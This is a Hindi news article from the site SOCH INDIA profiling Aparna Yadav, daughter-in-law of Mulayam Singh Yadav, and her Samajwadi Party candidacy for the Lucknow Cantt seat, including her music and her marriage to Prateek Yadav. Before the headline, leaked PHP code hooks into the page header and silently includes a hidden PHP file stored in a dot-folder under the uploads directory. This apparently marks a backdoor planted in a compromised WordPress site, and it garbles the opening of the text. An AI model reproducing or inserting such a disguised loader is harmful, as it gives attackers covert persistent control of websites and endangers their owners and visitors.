add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); मुलायम सिंह यादव की छोटी बहू की ‘बड़ी कहानी’ – SOCH INDIA
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राजनीति
मुलायम सिंह यादव की छोटी बहू की ‘बड़ी कहानी’

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मुलायम सिंह यादव की छोटी बहू अपर्णा यादव आज पति प्रतीक यादव के साथ नामांकन के लिए मजिस्ट्रेट ऑफिस पहुंची. अपर्णा लखनऊ की कैंट सीट चुनावी मैदान में अपनी किस्ताम आजमा रही हैं.

अपर्णा यादव को भले ही दुनिया सियासी परिवार से रिश्ते की वजह से जानती हो लेकिन उनकी असली पहचान संगीत है. संगीत ने अपर्णा को प्रतीक जैसा जीवन साथी दिया तो इसी संगीत के सहारे सियासी दंगल जीतने की तैयारी कर रही हैं.

मुलायम सिंह की छोटी बहू छब्बीस साल की अपर्णा यादव लखनऊ कैंट से समाजवादी पार्टी की उम्मीदवार हैं. इसी लखनऊ कैंट इलाके में अपर्णा का जन्म हुआ और इसी इलाके से वो विधायक बनकर राजनीतिक पारी शुरू करने की तैयारी कर रही हैं.

शास्त्रीय संगीत में निपुण अपर्णा मूल रूप से उत्तराखंड की रहने वाली हैं. इनके पिता अरविंद सिंह बिष्ट बड़े पत्रकार रहे हैं. मुलायम के छोटे बेटे प्रतीक से प्यार की कहानी भी काफी दिलचस्प है.

कैसे हुई प्रतीक अपर्णा यादव की शादी?
प्रतीक की मां साधना के बर्थडे के दिन पहली बार साल 2003 में अपर्णा को प्रतीक ने देखा था. प्रतीक की मां के कहने पर अपर्णा ने बर्थडे के मौके पर गीत गाया. इसी गीत के बाद दोनों की दोस्ती गहरी हो गई.

प्रतीक ने इसके बाद मेल पर अपर्णा को ढेर सारे मैसेज भेजे थे. करीब पंद्रह दिन बाद अपर्णा ने प्रतीक के मैसेज पढे. उस वक्त अपर्णा दसवीं की पढ़ाई कर रही थी. आठ साल तक दोनों का प्यार बढ़ता रहा और फिर साल 2011 में परिवार की मंजूरी के बाद दोनों ने शादी कर ली.

प्रतीक और अपर्णा की शादी के मौके पर सैफई में बहुत बड़ा जश्न हुआ था. खास बात ये रही कि इस शादी के अगले ही साल समाजवादी पार्टी को पूर्ण बहुमत मिला और पहली बार अपने दम पर सरकार बनी.

अपर्णा को संगीत के साथ साथ समाजसेवा में भी मन लगता है. हालांकि शुरुआती दिनों में राजनीति में आने के सवालों को वो टाल देती थी लेकिन लोकसभा चुनाव से पहले जन्मदिन के मौके पर मुलायम को अपनी आवाज में गीत का तोहफा देकर उन्होंने भविष्य के संकेत दे दिये थे.

साल 2014 के लोकसभा चुनाव के वक्त अपर्णा की उम्र 23 साल थी. यानी तब वो चुनाव नहीं लड़ सकती थी लेकिन जैसे ही उनकी उम्र 25 साल की हुई मुलायम ने लखनऊ कैंट से उम्मीदवारी का एलान कर दिया. जिस वक्त परिवार में झगड़ा चल रहा था. एक खेमा इसके लिए अपर्णा और प्रतीक की राजनीतिक महत्वकांक्षा को भी जिम्मेदार ठहरा रहा था. लेकिन अब अपर्णा ही कह रही हैं कि झगड़े से परिवार को फायदा हुआ है.

अपर्णा के पति प्रतीक शुद्ध रूप से व्यापारी हैं. खुद बॉडी बिल्डर हैं और लखनऊ के सबसे बड़े जिम के मालिक भी. अपर्णा शुद्ध रूप से पारिवारिक, अध्यात्मिक और सामाजिक महिला हैं. परिवार का ख्याल रखने के साथ ही रोज शाम को एक घंटा पूजा करना अपर्णा नहीं भूलती.

लखनऊ कैंट सीट पर समाजवादी पार्टी कभी नहीं जीती है और इस बार अपर्णा का मुकाबला कांग्रेस छोड़कर बीजेपी में आई रीता बहुगुणा जोशी से है. अपर्णा पूरी ताकत के साथ इस इलाके में प्रचार कर रही हैं.